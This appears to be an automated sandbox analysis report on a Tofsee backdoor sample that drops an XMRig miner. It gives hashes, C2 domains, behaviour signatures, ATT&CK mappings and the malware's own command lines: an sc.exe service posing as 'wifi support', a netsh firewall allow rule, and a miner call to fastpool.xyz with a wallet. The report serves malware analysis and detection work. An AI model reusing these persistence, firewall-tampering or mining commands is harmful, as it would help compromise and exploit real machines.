Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    18-06-2022 18:00

General

  • Target

    114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e.exe

  • Size

    309KB

  • MD5

    8b3e8043a2734b4bf0a03dce854369ba

  • SHA1

    91170e3a6e5e46a45e31304a2e0eace2efdbb4df

  • SHA256

    114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e

  • SHA512

    54cd639a10b21337fce9bc88eb3032ba01d483284ffcdc31b635315ac4c588da4267748b3982965674ce48d44c78ba8e8b15ed1ead1a01d118686c17f2c94b3c

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e.exe
    "C:\Users\Admin\AppData\Local\Temp\114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3880
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rgpdslpg\
      2⤵
        PID:4524
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yxbyioro.exe" C:\Windows\SysWOW64\rgpdslpg\
        2⤵
          PID:456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rgpdslpg binPath= "C:\Windows\SysWOW64\rgpdslpg\yxbyioro.exe /d\"C:\Users\Admin\AppData\Local\Temp\114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rgpdslpg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rgpdslpg
          2⤵
          • Launches sc.exe
          PID:488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3192
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 1320
          2⤵
          • Program crash
          PID:4344
      • C:\Windows\SysWOW64\rgpdslpg\yxbyioro.exe
        C:\Windows\SysWOW64\rgpdslpg\yxbyioro.exe /d"C:\Users\Admin\AppData\Local\Temp\114e5ed75459a26e4e873bc8c125518acff1a9c47006f4a27c2bd0f549dc093e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1344
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2132
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 540
          2⤵
          • Program crash
          PID:4424
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3880 -ip 3880
        1⤵
          PID:560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1344 -ip 1344
          1⤵
            PID:4276

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yxbyioro.exe
            Filesize

            11.5MB

            MD5

            ded76cd9db5be116cba8b7f7c420eed9

            SHA1

            585ccfc94cb1f278f9f1e376c6e63de4448eca6e

            SHA256

            4b76ce88e850896b6724e81550081d65334f6843b02ceea9387d6c717444527a

            SHA512

            5e8ea0b5246d7c81953b0c02f695cfa274f9bcd2091312851632c4899a775a1998338a9d4f8cbd216e969826deb550fda0f7db098d603b4024b2a2c25939c773

          • C:\Windows\SysWOW64\rgpdslpg\yxbyioro.exe
            Filesize

            11.5MB

            MD5

            ded76cd9db5be116cba8b7f7c420eed9

            SHA1

            585ccfc94cb1f278f9f1e376c6e63de4448eca6e

            SHA256

            4b76ce88e850896b6724e81550081d65334f6843b02ceea9387d6c717444527a

            SHA512

            5e8ea0b5246d7c81953b0c02f695cfa274f9bcd2091312851632c4899a775a1998338a9d4f8cbd216e969826deb550fda0f7db098d603b4024b2a2c25939c773

          • memory/116-177-0x0000000000820000-0x0000000000911000-memory.dmp
            Filesize

            964KB

          • memory/116-172-0x0000000000820000-0x0000000000911000-memory.dmp
            Filesize

            964KB

          • memory/116-171-0x0000000000000000-mapping.dmp
          • memory/456-134-0x0000000000000000-mapping.dmp
          • memory/488-138-0x0000000000000000-mapping.dmp
          • memory/1232-137-0x0000000000000000-mapping.dmp
          • memory/1344-144-0x0000000002D79000-0x0000000002D87000-memory.dmp
            Filesize

            56KB

          • memory/1344-148-0x0000000002D79000-0x0000000002D87000-memory.dmp
            Filesize

            56KB

          • memory/1344-151-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/1344-149-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/2132-162-0x0000000002FE0000-0x0000000002FE5000-memory.dmp
            Filesize

            20KB

          • memory/2132-165-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/2132-168-0x0000000002FF0000-0x0000000002FF7000-memory.dmp
            Filesize

            28KB

          • memory/2132-143-0x0000000000960000-0x0000000000975000-memory.dmp
            Filesize

            84KB

          • memory/2132-142-0x0000000000000000-mapping.dmp
          • memory/2132-159-0x0000000001FE0000-0x0000000001FF0000-memory.dmp
            Filesize

            64KB

          • memory/2132-150-0x0000000000960000-0x0000000000975000-memory.dmp
            Filesize

            84KB

          • memory/2132-156-0x0000000001FD0000-0x0000000001FD6000-memory.dmp
            Filesize

            24KB

          • memory/2132-152-0x0000000000960000-0x0000000000975000-memory.dmp
            Filesize

            84KB

          • memory/2132-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3192-140-0x0000000000000000-mapping.dmp
          • memory/3880-141-0x0000000002CCE000-0x0000000002CDC000-memory.dmp
            Filesize

            56KB

          • memory/3880-147-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/3880-130-0x0000000002CCE000-0x0000000002CDC000-memory.dmp
            Filesize

            56KB

          • memory/3880-133-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/3880-131-0x00000000049A0000-0x00000000049B3000-memory.dmp
            Filesize

            76KB

          • memory/4524-132-0x0000000000000000-mapping.dmp
          • memory/4756-135-0x0000000000000000-mapping.dmp